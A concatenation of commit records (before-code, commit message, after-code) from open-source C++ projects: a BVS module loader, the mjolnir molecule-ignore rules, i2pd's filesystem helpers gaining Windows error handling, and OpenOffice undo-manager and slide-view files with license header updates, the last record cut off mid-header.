control->sendCommand(SystemFlag::PAUSE); control->waitUntilInactive(id); loader->hotSwapModule(id); control->sendCommand(state); } else { LOG(0, "'" << id << "' not found!"); } #else //BVS_MODULE_HOTSWAP LOG(0, "ERROR: HotSwap disabled, could not hotswap: '" << id << "'!"); #endif //BVS_MODULE_HOTSWAP return *this; } BVS::BVS& BVS::BVS::quit() { control->sendCommand(SystemFlag::QUIT); unloadModules(); return *this; } <commit_msg>bvs: purgeData needs further fixing, disable for now<commit_after>#include "bvs/bvs.h" #include "bvs/traits.h" #include "control.h" #include "loader.h" #ifdef BVS_LOG_SYSTEM #include "logsystem.h" #endif BVS::BVS::BVS(int argc, char** argv, std::function<void()>shutdownHandler) : config{"bvs", argc, argv}, shutdownHandler(shutdownHandler), info(Info{config, 0, {}, {}}), #ifdef BVS_LOG_SYSTEM logSystem{LogSystem::connectToLogSystem()}, logger{"BVS"}, #endif loader{new Loader{info}}, control{new Control{loader->modules, *this, info}}, moduleStack{} { #ifdef BVS_LOG_SYSTEM logSystem->updateSettings(config); logSystem->updateLoggerLevels(config); #endif } BVS::BVS::~BVS() { delete control; delete loader; } BVS::BVS& BVS::BVS::loadModules() { // get module list from config std::vector<std::string> moduleList; config.getValue("BVS.modules", moduleList); std::string poolName; // check length if (moduleList.size()==0) { LOG(1, "No modules specified, nothing to load!"); return *this; } // load all selected modules bool asThread; for (auto& it : moduleList) { asThread = false; poolName.clear(); // check for thread selection ('+' prefix) and system settings if (it[0]=='+') { it.erase(0, 1); if (it[0]=='[') { LOG(0, "Cannot start module in thread AND pool!"); exit(1); } asThread = true; } if (it[0]=='[') { size_t pos = it.find_first_of(']'); poolName = it.substr(1, pos-1); it.erase(0, pos+1); } loadModule(it , asThread, poolName); } return *this; } BVS::BVS& BVS::BVS::loadModule(const std::string& moduleTraits, bool asThread, std::string poolName) { std::string id; std::string library; std::string configuration; std::string options; // adapt to module thread/pools settings bool moduleThreads = config.getValue<bool>("BVS.moduleThreads", bvs_module_threads); bool forceModuleThreads = config.getValue<bool>("BVS.forceModuleThreads", bvs_module_force_threads); bool modulePools = config.getValue<bool>("BVS.modulePools", bvs_module_pools); if (forceModuleThreads) asThread = true; if (!moduleThreads) asThread = false; if (!modulePools) poolName.clear(); // separate id, library, configuration and options size_t separator = moduleTraits.find_first_of(".()"); if (separator==std::string::npos) id = moduleTraits; else if (moduleTraits.at(separator)=='.') { id = moduleTraits.substr(0, separator); options = moduleTraits.substr(separator+1, std::string::npos); } else if (moduleTraits.at(separator)=='(') { size_t dot = moduleTraits.find_first_of('.'); size_t rp = moduleTraits.find_first_of(')'); id = moduleTraits.substr(0, separator); library = moduleTraits.substr(separator+1, rp-separator-1); options = moduleTraits.substr(rp+2<moduleTraits.size()?rp+2:rp+1, std::string::npos); if (dot<rp) { library = moduleTraits.substr(separator+1, dot-separator-1); configuration = moduleTraits.substr(dot+1, rp-dot-1); } } if (library.empty()) library = id; if (configuration.empty()) configuration = id; // load loader->load(id, library, configuration, options, asThread, poolName); control->startModule(id); moduleStack.push(id); return *this; } BVS::BVS& BVS::BVS::unloadModules() { while (!moduleStack.empty()) { if(loader->modules.find(moduleStack.top())!=loader->modules.end()) { unloadModule(moduleStack.top()); } moduleStack.pop(); } return *this; } BVS::BVS& BVS::BVS::unloadModule(const std::string& id) { SystemFlag state = control->queryActiveFlag(); if (state!=SystemFlag::QUIT) control->sendCommand(SystemFlag::PAUSE); control->waitUntilInactive(id); //TODO fix purgeData, eventually causes segfaults //control->purgeData(id); control->quitModule(id); loader->unload(id); if (state!=SystemFlag::QUIT) control->sendCommand(state); return *this; } BVS::BVS& BVS::BVS::loadConfigFile(const std::string& configFile) { config.loadConfigFile(configFile); #ifdef BVS_LOG_SYSTEM logSystem->updateSettings(config); logSystem->updateLoggerLevels(config); #endif return *this; } BVS::BVS& BVS::BVS::setLogSystemVerbosity(const unsigned short verbosity) { #ifdef BVS_LOG_SYSTEM if (logSystem) logSystem->setSystemVerbosity(verbosity); #else (void) verbosity; #endif return *this; } BVS::BVS& BVS::BVS::enableLogFile(const std::string& file, bool append) { #ifdef BVS_LOG_SYSTEM if (logSystem) logSystem->enableLogFile(file, append); #else (void) file; (void) append; #endif return *this; } BVS::BVS& BVS::BVS::disableLogFile() { #ifdef BVS_LOG_SYSTEM if (logSystem) logSystem->disableLogFile(); #endif return *this; } BVS::BVS& BVS::BVS::enableLogConsole(const std::ostream& out) { #ifdef BVS_LOG_SYSTEM if (logSystem) logSystem->enableLogConsole(out); #else (void) out; #endif return *this; } BVS::BVS& BVS::BVS::disableLogConsole() { #ifdef BVS_LOG_SYSTEM if (logSystem) logSystem->disableLogConsole(); #endif return *this; } BVS::BVS& BVS::BVS::connectAllModules() { loader->connectAllModules(); return *this; } BVS::BVS& BVS::BVS::connectModule(const std::string id) { loader->connectModule(id, config.getValue<bool>("BVS.connectorTypeMatching", bvs_connector_type_matching)); return *this; } BVS::BVS& BVS::BVS::start(bool forkMasterController) { control->masterController(forkMasterController); return *this; } BVS::BVS& BVS::BVS::run() { control->sendCommand(SystemFlag::RUN); return *this; } BVS::BVS& BVS::BVS::step() { control->sendCommand(SystemFlag::STEP); return *this; } BVS::BVS& BVS::BVS::pause() { control->sendCommand(SystemFlag::PAUSE); return *this; } BVS::BVS& BVS::BVS::hotSwap(const std::string& id) { #ifdef BVS_MODULE_HOTSWAP if (control->modules.find(id)!=control->modules.end()) { SystemFlag state = control->queryActiveFlag(); control->sendCommand(SystemFlag::PAUSE); control->waitUntilInactive(id); loader->hotSwapModule(id); control->sendCommand(state); } else { LOG(0, "'" << id << "' not found!"); } #else //BVS_MODULE_HOTSWAP LOG(0, "ERROR: HotSwap disabled, could not hotswap: '" << id << "'!"); #endif //BVS_MODULE_HOTSWAP return *this; } BVS::BVS& BVS::BVS::quit() { control->sendCommand(SystemFlag::QUIT); unloadModules(); return *this; } <|endoftext|>
<commit_before>#ifndef MJOLNIR_POTENTIAL_GLOBAL_IGNORE_MOLECULE_HPP #define MJOLNIR_POTENTIAL_GLOBAL_IGNORE_MOLECULE_HPP #include <mjolnir/util/throw_exception.hpp> #include <string> #include <memory> // In some case, we need to ignore intra- or inter-molecule interaction. // For example, consider you have an elastic network model and charges on it // that are tuned to reproduce the electrostatic potentials around the native // structure. In that case, the electrostatic interaction should not be applied // for the intra-molecule pairs to avoid double-counting because the elastic // network potential is modeled as a sum of all the intra-molecule interactions. // IgnoreMolecule provides you a way to specify the rule to determine ignored // pairs of particles. If you specify IgnoreSelf, all the intra-molecule // interactions would be ignored. IgnoreOthers ignores inter-molecule interactions. // Clearly, IgnoreNothing ignores nothing. namespace mjolnir { template<typename MoleculeID> struct IgnoreMoleculeBase { IgnoreMoleculeBase() = default; virtual ~IgnoreMoleculeBase() = default; virtual bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept = 0; virtual const char* name() const noexcept = 0; }; template<typename MoleculeID> struct IgnoreNothing: public IgnoreMoleculeBase<MoleculeID> { IgnoreNothing() = default; ~IgnoreNothing() override = default; bool is_ignored(const MoleculeID&, const MoleculeID&) const noexcept override { return false; } const char* name() const noexcept override {return "Nothing";} }; template<typename MoleculeID> struct IgnoreSelf: public IgnoreMoleculeBase<MoleculeID> { IgnoreSelf() = default; ~IgnoreSelf() override = default; bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept override { return i == j; } const char* name() const noexcept override {return "Self";} }; template<typename MoleculeID> struct IgnoreOthers: public IgnoreMoleculeBase<MoleculeID> { IgnoreOthers() = default; ~IgnoreOthers() override = default; bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept override { return i != j; } const char* name() const noexcept override {return "Others";} }; template<typename MoleculeID> struct IgnoreMolecule { explicit IgnoreMolecule(const std::string& name): ignore_mol_(nullptr) { this->reset(name); } template<typename IgnoreSomething> explicit IgnoreMolecule(std::unique_ptr<IgnoreSomething>&& ptr) : ignore_mol_(std::move(ptr)) {} ~IgnoreMolecule() = default; IgnoreMolecule(IgnoreMolecule const& rhs) {this->reset(rhs.name());} IgnoreMolecule(IgnoreMolecule&& rhs) = default; IgnoreMolecule& operator=(IgnoreMolecule const& rhs) {this->reset(rhs.name()); return *this;} IgnoreMolecule& operator=(IgnoreMolecule&& rhs) = default; bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept { return ignore_mol_->is_ignored(i, j); } const char* name() const noexcept {return ignore_mol_->name();} void reset(const std::string& name) { if(name == "Nothing") { ignore_mol_.reset(new IgnoreNothing<MoleculeID>); } else if(name == "Self") { ignore_mol_.reset(new IgnoreSelf<MoleculeID>); } else if(name == "Others") { ignore_mol_.reset(new IgnoreOthers<MoleculeID>); } else { throw_exception<std::invalid_argument>("IgnoreMolecule::IgnoreMolecule: ", "unknown signeture appreaed: `" + name + "`. Only `Nothing`, `Self`, or `Others` are allowed."); } } private: std::unique_ptr<IgnoreMoleculeBase<MoleculeID>> ignore_mol_; }; } // mjolnir #endif// MJOLNIR_IGNORE_MOLECULE_HPP <commit_msg>feat: enable to use "Intra" and "Inter"<commit_after>#ifndef MJOLNIR_POTENTIAL_GLOBAL_IGNORE_MOLECULE_HPP #define MJOLNIR_POTENTIAL_GLOBAL_IGNORE_MOLECULE_HPP #include <mjolnir/util/throw_exception.hpp> #include <string> #include <memory> // In some case, we need to ignore intra- or inter-molecule interaction. // For example, consider you have an elastic network model and charges on it // that are tuned to reproduce the electrostatic potentials around the native // structure. In that case, the electrostatic interaction should not be applied // for the intra-molecule pairs to avoid double-counting because the elastic // network potential is modeled as a sum of all the intra-molecule interactions. // IgnoreMolecule provides you a way to specify the rule to determine ignored // pairs of particles. If you specify IgnoreSelf, all the intra-molecule // interactions would be ignored. IgnoreOthers ignores inter-molecule interactions. // Clearly, IgnoreNothing ignores nothing. namespace mjolnir { template<typename MoleculeID> struct IgnoreMoleculeBase { IgnoreMoleculeBase() = default; virtual ~IgnoreMoleculeBase() = default; virtual bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept = 0; virtual const char* name() const noexcept = 0; }; template<typename MoleculeID> struct IgnoreNothing: public IgnoreMoleculeBase<MoleculeID> { IgnoreNothing() = default; ~IgnoreNothing() override = default; bool is_ignored(const MoleculeID&, const MoleculeID&) const noexcept override { return false; } const char* name() const noexcept override {return "Nothing";} }; template<typename MoleculeID> struct IgnoreSelf: public IgnoreMoleculeBase<MoleculeID> { IgnoreSelf() = default; ~IgnoreSelf() override = default; bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept override { return i == j; } const char* name() const noexcept override {return "Self";} }; template<typename MoleculeID> struct IgnoreOthers: public IgnoreMoleculeBase<MoleculeID> { IgnoreOthers() = default; ~IgnoreOthers() override = default; bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept override { return i != j; } const char* name() const noexcept override {return "Others";} }; template<typename MoleculeID> struct IgnoreMolecule { explicit IgnoreMolecule(const std::string& name): ignore_mol_(nullptr) { this->reset(name); } template<typename IgnoreSomething> explicit IgnoreMolecule(std::unique_ptr<IgnoreSomething>&& ptr) : ignore_mol_(std::move(ptr)) {} ~IgnoreMolecule() = default; IgnoreMolecule(IgnoreMolecule const& rhs) {this->reset(rhs.name());} IgnoreMolecule(IgnoreMolecule&& rhs) = default; IgnoreMolecule& operator=(IgnoreMolecule const& rhs) {this->reset(rhs.name()); return *this;} IgnoreMolecule& operator=(IgnoreMolecule&& rhs) = default; bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept { return ignore_mol_->is_ignored(i, j); } const char* name() const noexcept {return ignore_mol_->name();} void reset(const std::string& name) { if(name == "Nothing") { ignore_mol_.reset(new IgnoreNothing<MoleculeID>); } else if(name == "Self" || name == "Intra") { ignore_mol_.reset(new IgnoreSelf<MoleculeID>); } else if(name == "Others" || name == "Inter") { ignore_mol_.reset(new IgnoreOthers<MoleculeID>); } else { throw_exception<std::invalid_argument>("IgnoreMolecule::IgnoreMolecule: ", "unknown signeture appreaed: `" + name + "`. Only `Nothing`, `Self`, or `Others` are allowed."); } } private: std::unique_ptr<IgnoreMoleculeBase<MoleculeID>> ignore_mol_; }; } // mjolnir #endif// MJOLNIR_IGNORE_MOLECULE_HPP <|endoftext|>
<commit_before>/* * Copyright (c) 2013-2016, The PurpleI2P Project * * This file is part of Purple i2pd project and licensed under BSD3 * * See full license text in LICENSE file at top of project tree */ #include <algorithm> #include <boost/filesystem.hpp> #ifdef _WIN32 #include <shlobj.h> #endif #include "Base.h" #include "FS.h" #include "Log.h" #include "Garlic.h" namespace i2p { namespace fs { std::string appName = "i2pd"; std::string dataDir = ""; #ifdef _WIN32 std::string dirSep = "\\"; #else std::string dirSep = "/"; #endif const std::string & GetAppName () { return appName; } void SetAppName (const std::string& name) { appName = name; } const std::string & GetDataDir () { return dataDir; } void DetectDataDir(const std::string & cmdline_param, bool isService) { if (cmdline_param != "") { dataDir = cmdline_param; return; } #if defined(WIN32) || defined(_WIN32) char localAppData[MAX_PATH]; // check executable directory first GetModuleFileName (NULL, localAppData, MAX_PATH); auto execPath = boost::filesystem::path(localAppData).parent_path(); // if config file exists in .exe's folder use it if(boost::filesystem::exists(execPath/"i2pd.conf")) // TODO: magic string dataDir = execPath.string (); else { // otherwise %appdata% SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, localAppData); dataDir = std::string(localAppData) + "\\" + appName; } return; #elif defined(MAC_OSX) char *home = getenv("HOME"); dataDir = (home != NULL && strlen(home) > 0) ? home : ""; dataDir += "/Library/Application Support/" + appName; return; #else /* other unix */ #if defined(ANDROID) const char * ext = getenv("EXTERNAL_STORAGE"); if (!ext) ext = "/sdcard"; if (boost::filesystem::exists(ext)) { dataDir = std::string (ext) + "/" + appName; return; } // otherwise use /data/files #endif char *home = getenv("HOME"); if (isService) { dataDir = "/var/lib/" + appName; } else if (home != NULL && strlen(home) > 0) { dataDir = std::string(home) + "/." + appName; } else { dataDir = "/tmp/" + appName; } return; #endif } bool Init() { if (!boost::filesystem::exists(dataDir)) boost::filesystem::create_directory(dataDir); std::string destinations = DataDirPath("destinations"); if (!boost::filesystem::exists(destinations)) boost::filesystem::create_directory(destinations); std::string tags = DataDirPath("tags"); if (!boost::filesystem::exists(tags)) boost::filesystem::create_directory(tags); else i2p::garlic::CleanUpTagsFiles (); return true; } bool ReadDir(const std::string & path, std::vector<std::string> & files) { if (!boost::filesystem::exists(path)) return false; boost::filesystem::directory_iterator it(path); boost::filesystem::directory_iterator end; for ( ; it != end; it++) { if (!boost::filesystem::is_regular_file(it->status())) continue; files.push_back(it->path().string()); } return true; } bool Exists(const std::string & path) { return boost::filesystem::exists(path); } uint32_t GetLastUpdateTime (const std::string & path) { if (!boost::filesystem::exists(path)) return 0; boost::system::error_code ec; auto t = boost::filesystem::last_write_time (path, ec); return ec ? 0 : t; } bool Remove(const std::string & path) { if (!boost::filesystem::exists(path)) return false; return boost::filesystem::remove(path); } bool CreateDirectory (const std::string& path) { if (boost::filesystem::exists(path) && boost::filesystem::is_directory (boost::filesystem::status (path))) return true; return boost::filesystem::create_directory(path); } void HashedStorage::SetPlace(const std::string &path) { root = path + i2p::fs::dirSep + name; } bool HashedStorage::Init(const char * chars, size_t count) { if (!boost::filesystem::exists(root)) { boost::filesystem::create_directories(root); } for (size_t i = 0; i < count; i++) { auto p = root + i2p::fs::dirSep + prefix1 + chars[i]; if (boost::filesystem::exists(p)) continue; if (boost::filesystem::create_directory(p)) continue; /* ^ throws exception on failure */ return false; } return true; } std::string HashedStorage::Path(const std::string & ident) const { std::string safe_ident = ident; std::replace(safe_ident.begin(), safe_ident.end(), '/', '-'); std::replace(safe_ident.begin(), safe_ident.end(), '\\', '-'); std::stringstream t(""); t << this->root << i2p::fs::dirSep; t << prefix1 << safe_ident[0] << i2p::fs::dirSep; t << prefix2 << safe_ident << "." << suffix; return t.str(); } void HashedStorage::Remove(const std::string & ident) { std::string path = Path(ident); if (!boost::filesystem::exists(path)) return; boost::filesystem::remove(path); } void HashedStorage::Traverse(std::vector<std::string> & files) { Iterate([&files] (const std::string & fname) { files.push_back(fname); }); } void HashedStorage::Iterate(FilenameVisitor v) { boost::filesystem::path p(root); boost::filesystem::recursive_directory_iterator it(p); boost::filesystem::recursive_directory_iterator end; for ( ; it != end; it++) { if (!boost::filesystem::is_regular_file( it->status() )) continue; const std::string & t = it->path().string(); v(t); } } } // fs } // i2p <commit_msg>[windows] handle unexpected conditions (#1185)<commit_after>/* * Copyright (c) 2013-2016, The PurpleI2P Project * * This file is part of Purple i2pd project and licensed under BSD3 * * See full license text in LICENSE file at top of project tree */ #include <algorithm> #include <boost/filesystem.hpp> #ifdef _WIN32 #include <shlobj.h> #include <windows.h> #endif #include "Base.h" #include "FS.h" #include "Log.h" #include "Garlic.h" namespace i2p { namespace fs { std::string appName = "i2pd"; std::string dataDir = ""; #ifdef _WIN32 std::string dirSep = "\\"; #else std::string dirSep = "/"; #endif const std::string & GetAppName () { return appName; } void SetAppName (const std::string& name) { appName = name; } const std::string & GetDataDir () { return dataDir; } void DetectDataDir(const std::string & cmdline_param, bool isService) { if (cmdline_param != "") { dataDir = cmdline_param; return; } #if defined(WIN32) || defined(_WIN32) char localAppData[MAX_PATH]; // check executable directory first if(!GetModuleFileName(NULL, localAppData, MAX_PATH)) { #if defined(WIN32_APP) MessageBox(NULL, TEXT("Unable to get application path!"), TEXT("I2Pd: error"), MB_ICONERROR | MB_OK); #else fprintf(stderr, "Error: Unable to get application path!"); #endif exit(1); } else { auto execPath = boost::filesystem::path(localAppData).parent_path(); // if config file exists in .exe's folder use it if(boost::filesystem::exists(execPath/"i2pd.conf")) // TODO: magic string dataDir = execPath.string (); else // otherwise %appdata% { if(SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, localAppData) != S_OK) { #if defined(WIN32_APP) MessageBox(NULL, TEXT("Unable to get AppData path!"), TEXT("I2Pd: error"), MB_ICONERROR | MB_OK); #else fprintf(stderr, "Error: Unable to get AppData path!"); #endif exit(1); } else dataDir = std::string(localAppData) + "\\" + appName; } } return; #elif defined(MAC_OSX) char *home = getenv("HOME"); dataDir = (home != NULL && strlen(home) > 0) ? home : ""; dataDir += "/Library/Application Support/" + appName; return; #else /* other unix */ #if defined(ANDROID) const char * ext = getenv("EXTERNAL_STORAGE"); if (!ext) ext = "/sdcard"; if (boost::filesystem::exists(ext)) { dataDir = std::string (ext) + "/" + appName; return; } #endif // otherwise use /data/files char *home = getenv("HOME"); if (isService) { dataDir = "/var/lib/" + appName; } else if (home != NULL && strlen(home) > 0) { dataDir = std::string(home) + "/." + appName; } else { dataDir = "/tmp/" + appName; } return; #endif } bool Init() { if (!boost::filesystem::exists(dataDir)) boost::filesystem::create_directory(dataDir); std::string destinations = DataDirPath("destinations"); if (!boost::filesystem::exists(destinations)) boost::filesystem::create_directory(destinations); std::string tags = DataDirPath("tags"); if (!boost::filesystem::exists(tags)) boost::filesystem::create_directory(tags); else i2p::garlic::CleanUpTagsFiles (); return true; } bool ReadDir(const std::string & path, std::vector<std::string> & files) { if (!boost::filesystem::exists(path)) return false; boost::filesystem::directory_iterator it(path); boost::filesystem::directory_iterator end; for ( ; it != end; it++) { if (!boost::filesystem::is_regular_file(it->status())) continue; files.push_back(it->path().string()); } return true; } bool Exists(const std::string & path) { return boost::filesystem::exists(path); } uint32_t GetLastUpdateTime (const std::string & path) { if (!boost::filesystem::exists(path)) return 0; boost::system::error_code ec; auto t = boost::filesystem::last_write_time (path, ec); return ec ? 0 : t; } bool Remove(const std::string & path) { if (!boost::filesystem::exists(path)) return false; return boost::filesystem::remove(path); } bool CreateDirectory (const std::string& path) { if (boost::filesystem::exists(path) && boost::filesystem::is_directory (boost::filesystem::status (path))) return true; return boost::filesystem::create_directory(path); } void HashedStorage::SetPlace(const std::string &path) { root = path + i2p::fs::dirSep + name; } bool HashedStorage::Init(const char * chars, size_t count) { if (!boost::filesystem::exists(root)) { boost::filesystem::create_directories(root); } for (size_t i = 0; i < count; i++) { auto p = root + i2p::fs::dirSep + prefix1 + chars[i]; if (boost::filesystem::exists(p)) continue; if (boost::filesystem::create_directory(p)) continue; /* ^ throws exception on failure */ return false; } return true; } std::string HashedStorage::Path(const std::string & ident) const { std::string safe_ident = ident; std::replace(safe_ident.begin(), safe_ident.end(), '/', '-'); std::replace(safe_ident.begin(), safe_ident.end(), '\\', '-'); std::stringstream t(""); t << this->root << i2p::fs::dirSep; t << prefix1 << safe_ident[0] << i2p::fs::dirSep; t << prefix2 << safe_ident << "." << suffix; return t.str(); } void HashedStorage::Remove(const std::string & ident) { std::string path = Path(ident); if (!boost::filesystem::exists(path)) return; boost::filesystem::remove(path); } void HashedStorage::Traverse(std::vector<std::string> & files) { Iterate([&files] (const std::string & fname) { files.push_back(fname); }); } void HashedStorage::Iterate(FilenameVisitor v) { boost::filesystem::path p(root); boost::filesystem::recursive_directory_iterator it(p); boost::filesystem::recursive_directory_iterator end; for ( ; it != end; it++) { if (!boost::filesystem::is_regular_file( it->status() )) continue; const std::string & t = it->path().string(); v(t); } } } // fs } // i2p <|endoftext|>
<commit_before>/************************************************************************* * * OpenOffice.org - a multi-platform office productivity suite * * $RCSfile: undomanager.cxx,v $ * * $Revision: 1.4 $ * * last change: $Author: rt $ $Date: 2008-03-12 11:30:20 $ * * The Contents of this file are made available subject to * the terms of GNU Lesser General Public License Version 2.1. * * * GNU Lesser General Public License Version 2.1 * ============================================= * Copyright 2005 by Sun Microsystems, Inc. * 901 San Antonio Road, Palo Alto, CA 94303, USA * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License version 2.1, as published by the Free Software Foundation. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, * MA 02111-1307 USA * ************************************************************************/ // MARKER(update_precomp.py): autogen include statement, do not remove #include "precompiled_sd.hxx" #ifndef _TOOLS_DEBUG_HXX #include <tools/debug.hxx> #endif #ifndef _SD_UNDOMANAGER_HXX #include "undo/undomanager.hxx" #endif using namespace sd; UndoManager::UndoManager( USHORT nMaxUndoActionCount /* = 20 */ ) : SfxUndoManager( nMaxUndoActionCount ) , mnListLevel( 0 ) { } void UndoManager::EnterListAction(const UniString &rComment, const UniString& rRepeatComment, USHORT nId /* =0 */) { if( !isInUndo() ) { mnListLevel++; SfxUndoManager::EnterListAction( rComment, rRepeatComment, nId ); } } void UndoManager::LeaveListAction() { if( !isInUndo() ) { SfxUndoManager::LeaveListAction(); if( mnListLevel ) { mnListLevel--; } else { DBG_ERROR("sd::UndoManager::LeaveListAction(), no open list action!" ); } } } void UndoManager::AddUndoAction( SfxUndoAction *pAction, BOOL bTryMerg /* = FALSE */ ) { if( !isInUndo() ) { SfxUndoManager::AddUndoAction( pAction, bTryMerg ); } else { delete pAction; } } BOOL UndoManager::Undo( USHORT nCount ) { ScopeLockGuard aGuard( maIsInUndoLock ); return SfxUndoManager::Undo( nCount ); } BOOL UndoManager::Redo( USHORT nCount ) { ScopeLockGuard aGuard( maIsInUndoLock ); return SfxUndoManager::Redo( nCount ); } <commit_msg>INTEGRATION: CWS changefileheader (1.4.16); FILE MERGED 2008/04/01 15:33:55 thb 1.4.16.3: #i85898# Stripping all external header guards 2008/04/01 12:38:28 thb 1.4.16.2: #i85898# Stripping all external header guards 2008/03/31 13:56:47 rt 1.4.16.1: #i87441# Change license header to LPGL v3.<commit_after>/************************************************************************* * * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * Copyright 2008 by Sun Microsystems, Inc. * * OpenOffice.org - a multi-platform office productivity suite * * $RCSfile: undomanager.cxx,v $ * $Revision: 1.5 $ * * This file is part of OpenOffice.org. * * OpenOffice.org is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License version 3 * only, as published by the Free Software Foundation. * * OpenOffice.org is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License version 3 for more details * (a copy is included in the LICENSE file that accompanied this code). * * You should have received a copy of the GNU Lesser General Public License * version 3 along with OpenOffice.org. If not, see * <http://www.openoffice.org/license.html> * for a copy of the LGPLv3 License. * ************************************************************************/ // MARKER(update_precomp.py): autogen include statement, do not remove #include "precompiled_sd.hxx" #include <tools/debug.hxx> #include "undo/undomanager.hxx" using namespace sd; UndoManager::UndoManager( USHORT nMaxUndoActionCount /* = 20 */ ) : SfxUndoManager( nMaxUndoActionCount ) , mnListLevel( 0 ) { } void UndoManager::EnterListAction(const UniString &rComment, const UniString& rRepeatComment, USHORT nId /* =0 */) { if( !isInUndo() ) { mnListLevel++; SfxUndoManager::EnterListAction( rComment, rRepeatComment, nId ); } } void UndoManager::LeaveListAction() { if( !isInUndo() ) { SfxUndoManager::LeaveListAction(); if( mnListLevel ) { mnListLevel--; } else { DBG_ERROR("sd::UndoManager::LeaveListAction(), no open list action!" ); } } } void UndoManager::AddUndoAction( SfxUndoAction *pAction, BOOL bTryMerg /* = FALSE */ ) { if( !isInUndo() ) { SfxUndoManager::AddUndoAction( pAction, bTryMerg ); } else { delete pAction; } } BOOL UndoManager::Undo( USHORT nCount ) { ScopeLockGuard aGuard( maIsInUndoLock ); return SfxUndoManager::Undo( nCount ); } BOOL UndoManager::Redo( USHORT nCount ) { ScopeLockGuard aGuard( maIsInUndoLock ); return SfxUndoManager::Redo( nCount ); } <|endoftext|>
<commit_before>/************************************************************************* * * $RCSfile: SdUnoSlideView.hxx,v $ * * $Revision: 1.6 $ * * last change: $Author: obo $ $Date: 2004-06-03 11:54:39 $ * * The Contents of this file are made available subject to the terms of * either of the following licenses * * - GNU Lesser General Public License Version 2.1 * - Sun Industry Standards Source License Version 1.1 * * Sun Microsystems Inc., October, 2000 * * GNU Lesser General Public License Version 2.1 * ============================================= * Copyright 2000 by Sun Microsystems, Inc. * 901 San Antonio Road, Palo Alto, CA 94303, USA * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License version 2.1, as published by the Free Software Foundation. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, * MA 02111-1307 USA * * * Sun Industry Standards Source License Version 1.1 * ================================================= * The contents of this file are subject to the Sun Industry Standards * Source License Version 1.1 (the "License"); You may not use this file * except in compliance with the License. You may obtain a copy of the * License at http://www.openoffice.org/license.html. * * Software provided under this License is provided on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS, * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING. * See the License for the specific provisions governing your rights and * obligations concerning the Software. * * The Initial Developer of the Original Code is: Sun Microsystems, Inc. * * Copyright: 2000 by Sun Microsystems, Inc. * * All Rights Reserved. * * Contributor(s): _______________________________________ * * ************************************************************************/ #ifndef SD_UNO_SLIDE_VIEW_HXX #define SD_UNO_SLIDE_VIEW_HXX #ifndef SD_DRAW_CONTROLLER_HXX #include "DrawController.hxx" #endif #ifndef _COM_SUN_STAR_DRAWING_XDRAWVIEW_HPP_ #include <com/sun/star/drawing/XDrawView.hpp> #endif #ifndef _COM_SUN_STAR_LANG_XSERVICEINFO_HPP_ #include <com/sun/star/lang/XServiceInfo.hpp> #endif #ifndef _COM_SUN_STAR_VIEW_XSELECTIONSUPPLIER_HPP_ #include <com/sun/star/view/XSelectionSupplier.hpp> #endif #ifndef _SFX_SFXBASECONTROLLER_HXX_ #include <sfx2/sfxbasecontroller.hxx> #endif #ifndef _CPPUHELPER_PROPSHLP_HXX #include <cppuhelper/propshlp.hxx> #endif #ifndef _CPPUHELPER_PROPTYPEHLP_HXX #include <cppuhelper/proptypehlp.hxx> #endif #ifndef _CPPUHELPER_INTERFACECONTAINER_H_ #include <cppuhelper/interfacecontainer.h> #endif #ifndef _SVX_UNOSHAPE_HXX #include <svx/unoshape.hxx> #endif namespace sd { class ViewShellBase; class SlideViewShell; class View; /** * This class implements the view component for a SdOutlineViewShell */ class SdUnoSlideView : public DrawController { public: SdUnoSlideView ( ViewShellBase& rBase, ViewShell& rViewShell, View& rView) throw(); virtual ~SdUnoSlideView() throw(); // XTypeProvider virtual ::com::sun::star::uno::Sequence< sal_Int8 > SAL_CALL getImplementationId( ) throw(::com::sun::star::uno::RuntimeException); // XServiceInfo virtual ::rtl::OUString SAL_CALL getImplementationName() throw(::com::sun::star::uno::RuntimeException); }; } // end of namespace sd #endif <commit_msg>INTEGRATION: CWS impress2 (1.5.26); FILE MERGED 2004/06/18 00:18:42 af 1.5.26.2: RESYNC: (1.5-1.6); FILE MERGED 2004/02/19 10:48:44 af 1.5.26.1: #i22705# Added private data members mbDisposing and maLastVisArea.<commit_after>/************************************************************************* * * $RCSfile: SdUnoSlideView.hxx,v $ * * $Revision: 1.7 $ * * last change: $Author: rt $ $Date: 2004-07-13 14:00:27 $ * * The Contents of this file are made available subject to the terms of * either of the following licenses * * - GNU Lesser General Public License Version 2.1 * - Sun Industry Standards Source License Version 1.1 * * Sun Microsystems Inc., October, 2000 * * GNU Lesser General Public License Version 2.1 * ============================================= * Copyright 2000 by Sun Microsystems, Inc. * 